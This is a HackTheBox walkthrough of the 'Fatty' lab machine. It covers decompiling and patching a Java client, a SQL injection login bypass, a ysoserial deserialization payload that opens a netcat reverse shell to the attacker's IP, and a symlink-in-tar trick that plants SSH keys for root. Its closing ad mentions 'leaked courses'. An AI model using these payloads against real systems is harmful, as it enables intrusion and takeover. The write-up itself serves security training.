HackTheBox. Walkthrough Fatty. Reverse and recompile a client-server application. Java deserialization



I continue to publish solutions sent for finalization of machines from the HackTheBox platform .



In this article, we will reverse two Java applications, while modifying and recompiling the client, to exploit SQL injection during authorization and execute commands on the server due to a vulnerability in deserializing a Java object.



The connection to the laboratory is via VPN. It is recommended not to connect from a work computer or from a host where there is important data for you, as you find yourself in a private network with people who know something about information security.



Organizational information
, , Telegram . , , .



. , - , .



Recon



This machine has an IP address of 10.10.10.174, which I add to / etc / hosts.



10.10.10.174 	fatty.htb


The first step is to scan open ports. Since it takes a long time to scan all ports with nmap, I will first do it using masscan. We scan all TCP and UDP ports from the tun0 interface at 500 packets per second.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.174       --rate=500




Now, to get more detailed information about the services that run on the ports, run a scan with the -A option.



nmap -A fatty.htb -p21,22,1337,1338,1339




From the nmap scan, we can see that an anonymous ftp login is possible, while it contains several notes and a jar file. Download everything that is there.



wget ftp://fatty.htb/*






The first note says that the server is running on ports 1337, 1338 and 1339, and that port 8000 is still in the client and needs to be fixed.







The second post says about the static layout of elements on the client form, and also that the client works with Java 8.





The third note says there are security issues and credentials provided.







Let's start the client.



/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar fatty-client.jar




Let's decompile the client. I am using Intellij IDEA so I installed the java decompiler extension for it. Just unzip the jar file and specify the directory as the project directory. In the beans.xml file we find the connection parameters.





Let's throw the local port 8000 to the remote 1337.



simpleproxy -L 8000 -R fatty.htb:1337


In this case, we will make an entry in / etc / hosts.



127.0.0.1       server.fatty.htb


This way all client traffic will be redirected to the remote host. We start and log in.







Let's take a look around the app. Of all that is, you should stop at the function of getting a list of files and reading files.











But when we try to read some more files, we get errors.







The only question is where the filter is. Anticipating the need to patch the code, decompile the application into jd-gui and save.







After unzipping, open the folder as a project in Intellij IDEA.



Java Recompile



We will recompile the application (this method works for obfuscated applications as well). Now let's go through the environment setup. Go to File-> Project Structure and Project Settings, set the following settings: SDK version - java8 and the directory where the compiled files will be saved.





Next, go to Project Modules and in Sources select directories of interest to us, which contains the main code.





And in Dependencies, add the application jar file itself.





As you can see, the one disappeared next to the Problems item. Move on. Add Application to Run / Debug Configurations.







And we will indicate the Starter class as the Main class, since the program starts from it.







Everything is ready. Now go to the Invoke class and set a breakpoint in the file listing function to change the directory.





Now we start debugging and stop at this point.





And change the value of the folder variable.









And it worked. We see a list of files. Let's find out what's in the start.sh file. To do this, we will find the function for reading the file and set a breakpoint in it.





Let's open this file in the appendix and stop at this point.





And change the value of the foldername variable.









And we successfully read this file.





Thus, this application runs on behalf of the system user qtc. In order to get the application, you need to change the code. Let's add a function for writing to a file, get the response in bytes, encode it in base64 and pass this string to this function.





Let's request a file through the application, stop at a breakpoint and change the path.





And the file was saved successfully.





cat srv.b64 | base64 -d > fatty-server.jar


Server pwning



Open the server application in jd-gui. Having looked at the code a little, we collect very useful information. For example, database connection data.





And also a request to the database during authorization.





Thus, a user is created for the application, based on the data that will be returned from the database.







Thus, we can make such a request so that the qtc known to us was created, but already with administrator rights. We know his username and password, but the hash will need to be returned from the database. Let's calculate it:





We need to execute a query like this:



SELECT id, username, email, password, role FROM users WHERE username='qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin'


To do this, when debugging the application, we will stop at the login function.





And change the variable username.



qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin










After successful authorization, we will see our rights, we work as an administrator.







In order not to change anything else during debugging, but to constantly gain administrative access, even with empty fields, we will change the login function.







Now that we have figured out how to increase our rights, let's take a look at the new available functions and decide on the further attack vector. And in the server code we cling to the use of serialization in the password change function.







Let's find this feature in the client application.







So the User object is serialized, base64 encoded and passed to the server where it is decoded and deserialized. Since the name of the function is dimmed, it is not used anywhere. You can verify this by trying to change the password.







Let's put a breakpoint inside the password change function, before adding the serialized object as an argument.







Let's find the code that is executed when you click on the Change button.







Let's add the function call.







You can use ysoserial to exploit a vulnerability in data deserialization . First, let's define a module.

grep -R Invoke .






Thus, we will use CommonsCollections.

/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'nc 10.10.15.60 4321 -e /bin/sh' | base64 -w0


And we will insert the received load into the changed code of the password change function.







After executing the application, we get a backconnect.







ROOT



Load one of the system enumeration scripts, for example linpeas. We don't find anything interesting, except that we are in a docker container.







Since we didn't find anything static, let's start pspy and track the running processes. But after waiting a little time, nothing interesting happened. Then I initiated the process by starting the client application and closing it. After closing the application, the scp command was executed.







Thus, the archive with the logs is copied. I can assume that it is also unpacked. Let's log together, upload, create and package a link to a file with ssh keys.







Let's check the archive.







Excellent. Now let's open the application, log in, change the logs and close the application.

mv my.tar /opt/fatty/tar/logs.tar


Now, if you repeat something like this, the contents of the file will be written to authorized_keys. Therefore, we generate a key pair using ssh-keygen, re-do the trick with the application and write a public one instead of an archive.







Now we can connect via SSH with a private key.







You can join us on Telegram . There you can find interesting materials, leaked courses, and software. Let's gather a community in which there will be people who are versed in many areas of IT, then we can always help each other on any IT and information security issues.



All Articles